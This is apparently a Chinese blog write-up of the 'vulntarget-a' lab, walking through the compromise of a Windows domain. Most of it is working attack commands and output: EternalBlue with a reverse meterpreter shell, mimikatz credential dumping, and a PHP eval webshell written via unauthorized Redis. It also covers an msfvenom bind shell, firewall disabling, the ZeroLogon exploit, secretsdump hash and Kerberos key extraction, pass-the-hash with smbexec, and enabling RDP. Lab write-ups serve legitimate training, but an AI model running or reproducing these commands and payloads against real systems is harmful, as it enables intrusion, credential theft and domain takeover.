vulntarget靶场系列-a-writeup

太过爱你忘了你带给我的痛 2024-03-30 08:54 10阅读 0赞

### 网络配置 ###

外网WIN7：

ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 (NAT模式)

ip2:10.0.20.98-vmnet1 (仅主机模式)

域主机成员：

10.0.20.99-vmnet1(仅主机模式)

10.0.10.111-vmnet2(仅主机模式)

域控：

10.0.10.110-vmnet2(仅主机模式)

密码配置：

Win7：win7/admin

win2016：Administrator/Admin@123、vulntarget.com\\win2016 Admin\#123

win2019：vulntarget.com\\administrator Admin@666

### 信息收集 ###

**扫描主机**

arp-scan -l

扫描同一网段中的存活主机

![6888f71ff295d74b71f4419e67f50ed1.png][]

发现一个存活主机: 192.168.127.91

**扫描端口**

扫描一下存活靶机的ip地址

nmap -sC -T4 192.168.127.91

![9b499a70f50c3f814e77ce31d04bcf53.png][]

发现目标系统为win7,且开放了445端口，尝试利用永恒之蓝(ms17-010)打一波目标系统

### 内网主机渗透 ###

在 [kali][] 中输入命令：

msfconsole

msf 6> search 17-010

msf 6> use 0

msf 6> set payload windows/x64/meterpreter/reverse\_tcp

msf 6> set lport 6666

msf 6> set lhost 192.168.127.129

msf 6> set rhosts 192.168.127.91

msf 6> run

![79465826aa56f5a82646ff7cd2de7ea1.png][]

meterpreter>shell

C:\\Windows\\System32>ipconfig

![c77091da8a906f022986c173403ecd57.png][]

发现有些乱码，直接在设置一下

C:\\Windows\\System32>CHCP 65001 \#65001 UTF-8代码页

C:\\Windows\\System32>ipconfig \# 发现有两个网段，一个是192.168.127的网段，另一个就是10.0.20网段

![f673edd9de20ebac0ba82db57808b47f.png][]

C:\\Windows\\System32>whomai \#查看当前用户得权限为system权限

![a4f0165fa19d703cd32e7239cd121f2b.png][]

C:\\Windows\\System32>tasklist/svc \#查看进程，发现系统中没有杀软

![3d765979b097375fcf26d06461901242.png][]

C:\\Windows\\System32>exit \#退出shell命令终端

![be3c6a3a037bed3e666fd98bc822eea9.png][]

meterpreter>load kiwi \#加载mimikataz模块

meterpreter>creds\_all \#获取当前所有用户得登录凭证，发现用户名为win7，密码为：admin

![bcdb70d569f808bd570b488958c3c664.png][]

###  ###

### Web渗透 ###

直接访问,http://192.168.127.91/,发现是通达OA

![2d785a15125bbd37cec467d8711a99c2.jpeg][]

查看通达OA的版本号，当前版本为11.3

[http://192.168.127.91/inc/expired.php][http_192.168.127.91_inc_expired.php]

![df4e74add1c58c5eab7843a61ef890f6.png][]

通过搜索引擎搜索通达11.3存在文件包含漏洞

参考地址：https://blog.csdn.net/hackzkaq/article/details/115900500

这里使用一键图形化工具获得webshell

![5884551538d70f06a931042a5e2dc7e2.png][]

使用蚁剑连接成功

![1d4f70e22f84b202331ee5fdc0e0dddc.png][]

![e111711a89ed93f7a4984aad5b504cf7.png][]

同样在 蚁剑的命令终端下查看当前用户的权限为system权限

![17962822fa49fc96522e097763e6308e.png][]

### 横向渗透 ###

进程迁移

获得shell时，该shell是极其脆弱，所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起，而不需要对磁盘进行任何写入操作，这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)后，系统会自动寻找合适的进程然后迁移

meterpreter > run post/windows/manage/migrate \# 从1080的spoolsv.exe迁移到了noepad.exe的4800进程

![e1f65d7a6820548909de5738dfd26ff1.png][]

查看本地网络连接子网段

meterpreter > run get\_local\_subnets

![a2339c4abdeffd1dac3545b3a2893000.png][]

添加一条动态路由

meterpreter > run autoroute -s 10.0.20.0/24

或者

meterpreter > background

meterpreter >sessions

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >use post/multi/manage/autoroute

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >set session 1

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >run

![4b16ba85359cc1dda03343a4474db444.png][]

meterpreter > background

![ada340299630c2e0e93c47ca0476bbcc.png][]

**发现存活主机**

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >use post/windows/gather/arp\_scanner

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >set session 1

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >set rhosts 10.0.20.1-254

msf6 exploit(windows/smb/ms17\_010\_eternalblue) >run

![136284f41ec9bfaa876ec7ebffedfc0e.png][]

发现了另一台存活主机10.0.20.99

**开启socks5代理**

msf6 exploit(windows/smb/ms17\_010\_eternalblue) > use auxiliary/server/socks\_proxy

msf6 auxiliary(server/socks\_proxy) > run

![a62e4b51d9055fbd1e02876e5a9a3611.png][]

![e3f25107dd888e4277119a7f5d3ed19a.png][]

**端口扫描**

首先先要需要修改/etc/proxychain4.conf配置文件

vim /etc/proxychains4.conf

socks5 127.0.0.1 1080

通过nmap扫描目标IP的常用端口

proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080

![32b4a12121a727be8baa706f7a33b936.png][]

发现 10.0.20.99主机开放了6379和80端口

这里使用本地socks5代理客服端proxifier软件

![c35686c0b388266f498bb705a6607976.png][]

通过 dirsearch进行扫描，发现目标存在phpinfo.php敏感信息页面

python3 dirsearch.py -l url.txt -t 10 -e \* -i 200,302 --format csv -o C:\\Users\\backlion\\Desktop\\dirsearch-master\\xxx.com.csv

或者攻击机kali下执行

proxychains python dirsearch.py -uhttp://10.0.20.99 -i 200

proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5

![22d7a9df1a66a6dcc97bcaf5186d1902.png][]

访问phpinfo.php页面发现暴露了网站的绝对路径： C:/phpStudy/PHPTutorial/WWW/

[http://10.0.20.99/phpinfo.php][http_10.0.20.99_phpinfo.php]

![c5270285c50fef1b125550e0af9f2928.png][]

http://10.0.20.99/l.php

![4445d7f13e114a3d840dcd9acc15a1f9.png][]

### Redis未授权访问 ###

通过 redis-cli 命令可无密码进行远程连接

proxychains redis-cli -h 10.0.20.99

![7b93cbca32b658ac88ac9da03e595ffa.png][]

### Redis写入webshell ###

10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/" \#切换到可写入shell的绝对路径

10.0.20.99:6379> set x "\\n\\n\\n<?php @eval($\_POST\['x'\]);?>\\n\\n\\n" \#写入一句话木马

10.0.20.99:6379> config set dbfilename shell.php \#设置文件名为shell.php

10.0.20.99:6379> save

![83eea54fd9e45500aa6730658936796f.png][]

这里通过本地主机上的蚁剑设置代理，且连接webshell

![147660e63d55732b6a50b7d99ac95b28.png][]

![52ab0462232bc28699da82943703f98d.png][]

![9eedb4bd8964551370f0d4e2b3a724ad.png][]

查看当前用户权限为syestem

![b235b825e32a85e99565978e688f1e9f.png][]

### 上传MSF后门 ###

**生成正向shellcode**

msfvenom -p windows/x64/meterpreter/bind\_tcp LPORT=3333 -f exe > shell.exe

![e095062e4e7c686ae45c9fc54128412d.png][]

**使用蚁剑上传shell.exe到10.0.20.99，并执行**

![ccb0d470c6672af0495520608cc4f4de.png][]

配置监听器

use exploit/multi/handler

set payload windows/x64/meterpreter/bind\_tcp

set lport 3333

set RHOST 10.0.20.99

run

![0585bcf346c8ae4a8ff766ef21453a7c.png][]

关闭防火墙
     
                     
                     
                      netsh firewall set opmode mode=disable 
                    
                    
                     
                    
                    
                     
                     
                     
                      
                    
                    
                     
                   
                   
                    
                   
                   
                    
                    
                    
                     蚁剑命令终端中运行shell.exe
                   
                   
                    
                   
                   
                    
                    
                    
                     
                   
                   
                    
                   
                   
                    
                     
                    
                    收集同网段主机
                   
                   
                    
                   
                   
                    
                     
                    
                    meterpreter > arp
                   
                   
                    
                   
                   
                    
                    
                    
                     
                     
                     
                      
                    
                    
                     
                    
                    
                     
                      
                     
                     扫出10.0.10.110网段
                    
                    
                     
                   
                   
                    
                   
                   
                    
                    
                    
                     迁移进程

run post/windows/manage/migrate

![199694e47165032092264141647fc9a8.png][]

meterpreter > sysinfo

![92b7a7583a61db30435c3124b2ea5451.png][]

meterpreter > shell

![bc4c3d35cd6e6ed945daeed16f2910d9.png][]

C:\\phpStudy\\PHPTutorial\\WWW>CHCP 65001

![2bda93f61c9172ad4b783d1e2a5ff316.png][]

收集IP信息

C:\\phpStudy\\PHPTutorial\\WWW>ipconfig/all

![bea5b1204f1ce11a7af96f29c0ef989f.png][]

![fb9b5794cc4563503023e28ece91d86b.png][]

有域存在，查看域控计算机名

C:\\phpStudy\\PHPTutorial\\WWW>net group "domain controllers" /domain

![764fd61b1216fea83eee01ffb7a6b49d.png][]

查看域管理员

C:\\phpStudy\\PHPTutorial\\WWW>net group "enterprise admins" /domain

![59485186bea123a9b3ef0860d7e460fd.png][]

### 域提权 ###

**添加路由**

meterpreter > run post/multi/manage/autoroute

meterpreter > run autoroute -p

![8a7c3aac730da2beaf48a547d95cd176.png][]

meterpreter > run post/windows/gather/enum\_domain

![0c08888ab17e0dc6506abe5d9390de7a.png][]

proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139

![510a58e66956ddfd4290c530cf9a4813.png][]

**下载impacket包，并进行安装**

git clone https://github.com/SecureAuthCorp/impacket

cd impacket

python3 -m pip install -r requirements.txt

python3 -m pip install .

**下载CVE-2020-1472EXP**

git clone https://github.com/dirkjanm/CVE-2020-1472.git

cd CVE-2020-1472

**执行EXP**

proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110

![e0bf94963b7e44b6971cc2f58120a48a.png][]

**获取域管理员hash**

cd /opt/impacket/examples

proxychains python3 secretsdump.py vulntarget.com/WIN2019\\$@10.0.10.110 -no-pass

![0044e6a1aacdff50130a3c8124b49e5d.png][]

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::

vulntarget.com\\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::

WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::

\[\*\] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51d

Administrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1

Administrator:des-cbc-md5:dcc29476a789ec9e

krbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311

krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cded

krbtgt:des-cbc-md5:10efae67c7026dbf

vulntarget.com\\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61

vulntarget.com\\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855

vulntarget.com\\win2016:des-cbc-md5:6e2901311c32ae58

WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390

WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25

WIN2019$:des-cbc-md5:01c8894f541023bc

WIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682

WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950

WIN2016$:des-cbc-md5:6d97313875e362c8

**拿到管理员hash，执行提权exp**

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  Administrator@10.0.10.110

![61e8cf197ccb702e7accc64747a72cf7.png][]

开启3389远程桌面端口：

reg add "HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /t REG\_DWORD /v portnumber /d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

直接3389登录：`proxychains rdesktop 10.0.10.110`

账号：balsec.com\\administrator 密码：Admin@666

![714858442bc66f672db5b1bbcfa3711c.jpeg][]

[6888f71ff295d74b71f4419e67f50ed1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/44d9a7a228fa4bac8a98f0ac92325c89.png
[9b499a70f50c3f814e77ce31d04bcf53.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/f2741cf1044f47f88c61c4778b2ca2de.png
[kali]: https://so.csdn.net/so/search?q=kali&spm=1001.2101.3001.7020
[79465826aa56f5a82646ff7cd2de7ea1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/177bbd647dd94957b8414a01913b173c.png
[c77091da8a906f022986c173403ecd57.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/be76616fe20c4f2fbeea5669e6cffd06.png
[f673edd9de20ebac0ba82db57808b47f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/48739e3359f241eab9b1f6c6b693fcf7.png
[a4f0165fa19d703cd32e7239cd121f2b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/0c749bd8048f4bb590513ec9f854033d.png
[3d765979b097375fcf26d06461901242.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/4901360da7f144b5b6c25f65c461f01e.png
[be3c6a3a037bed3e666fd98bc822eea9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/cb01901e4f6b49f08b982017b7dcf289.png
[bcdb70d569f808bd570b488958c3c664.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/13f92d3989324fb7a19096b8243894ed.png
[2d785a15125bbd37cec467d8711a99c2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/60c0c807c3f5476580c95f3c230b9a9c.jpeg
[http_192.168.127.91_inc_expired.php]: http://192.168.127.91/inc/expired.php
[df4e74add1c58c5eab7843a61ef890f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/db483ad4beb840deab9957a4cbeac8d2.png
[5884551538d70f06a931042a5e2dc7e2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/84c9f133c22e485da989f3ed0d757995.png
[1d4f70e22f84b202331ee5fdc0e0dddc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/dd907c0f65094ded9d5293a16a2dc301.png
[e111711a89ed93f7a4984aad5b504cf7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/56a83f79d9e74dbd99fd153f7ac199b4.png
[17962822fa49fc96522e097763e6308e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/9f3465ebe386471f836a7943417cd913.png
[e1f65d7a6820548909de5738dfd26ff1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/0e1e8ef16b324d09899046cda85b5396.png
[a2339c4abdeffd1dac3545b3a2893000.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/820dea6a6b494194a02b99e4b3a64f7a.png
[4b16ba85359cc1dda03343a4474db444.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/58c4102d6e5d47f89159f8c30e5c8407.png
[ada340299630c2e0e93c47ca0476bbcc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/1e397332a84046ac8dd94568529e2ea9.png
[136284f41ec9bfaa876ec7ebffedfc0e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/7b89d4a6e632451ab49b400c63f16860.png
[a62e4b51d9055fbd1e02876e5a9a3611.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/36d90edb3b2340a8919a5a54363bf232.png
[e3f25107dd888e4277119a7f5d3ed19a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/06f0ec8de8254b2484d9cd2ad7e4e1ec.png
[32b4a12121a727be8baa706f7a33b936.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/3a2a9214852f4ecf9251a6e62e45c8ab.png
[c35686c0b388266f498bb705a6607976.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/ac05a60ac5da47d0b88fb55ea17ab14c.png
[22d7a9df1a66a6dcc97bcaf5186d1902.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/84d6b5a531a945e6b88fc16b7c0dfa9a.png
[http_10.0.20.99_phpinfo.php]: http://10.0.20.99/phpinfo.php
[c5270285c50fef1b125550e0af9f2928.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/1573c84438ff400fb744574f29e619e0.png
[4445d7f13e114a3d840dcd9acc15a1f9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/5064da0d83be4a06b616027f34df9052.png
[7b93cbca32b658ac88ac9da03e595ffa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/4888d477b23a4b5bafd9a1dc122bb085.png
[83eea54fd9e45500aa6730658936796f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/05a237aa0e3c4b67a63580726be267a0.png
[147660e63d55732b6a50b7d99ac95b28.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/517bca27f1f9486d89504ff0a5e86678.png
[52ab0462232bc28699da82943703f98d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/f7119161ed20443a8f22991dfe05d898.png
[9eedb4bd8964551370f0d4e2b3a724ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/4a1bb861fc364ad5bd7cb76412f7f58e.png
[b235b825e32a85e99565978e688f1e9f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/cb543349c4a44114ab804387da226f34.png
[e095062e4e7c686ae45c9fc54128412d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/1da7b6432a3847c5844866c14e0f5e9e.png
[ccb0d470c6672af0495520608cc4f4de.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/37f07fb4abc7471087daca32592f9f64.png
[0585bcf346c8ae4a8ff766ef21453a7c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/8352331c9fcb40319b9c6a634a57b844.png
[199694e47165032092264141647fc9a8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/1bcfe2d1fd9b4b488a769ee4941cc3a1.png
[92b7a7583a61db30435c3124b2ea5451.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/af340c6959dd47d99623f73dafbebf86.png
[bc4c3d35cd6e6ed945daeed16f2910d9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/a164102d19bb4a43b50a295267aec11f.png
[2bda93f61c9172ad4b783d1e2a5ff316.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/8ed3526d49ef4d8f8dd2688a17bc5f3b.png
[bea5b1204f1ce11a7af96f29c0ef989f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/82b87a0d0f1b4737b64afde879ffedc5.png
[fb9b5794cc4563503023e28ece91d86b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/0c7818ae11ed498aafe2e2024a9e2328.png
[764fd61b1216fea83eee01ffb7a6b49d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/fe74c851363341d6b0f727c241fc0fc4.png
[59485186bea123a9b3ef0860d7e460fd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/5293d5912f254bd7a5cf18b5efcecaa1.png
[8a7c3aac730da2beaf48a547d95cd176.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/76d288b7c6d14b149029a4ffae068183.png
[0c08888ab17e0dc6506abe5d9390de7a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/d6f0c4e9bbe844659e6b798b60cf2de3.png
[510a58e66956ddfd4290c530cf9a4813.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/3d20e468657a45e8a00d0ee2f046ba78.png
[e0bf94963b7e44b6971cc2f58120a48a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/efe7d6f6ef9b4d86a05b9482fa230766.png
[0044e6a1aacdff50130a3c8124b49e5d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/5d07b39a38ef4064bc2cf6a22157f3d0.png
[61e8cf197ccb702e7accc64747a72cf7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/482c22a818264aaf929630a1e0f01af1.png
[714858442bc66f672db5b1bbcfa3711c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/b9c015236129495ea9d66b9b497cfc4f.jpeg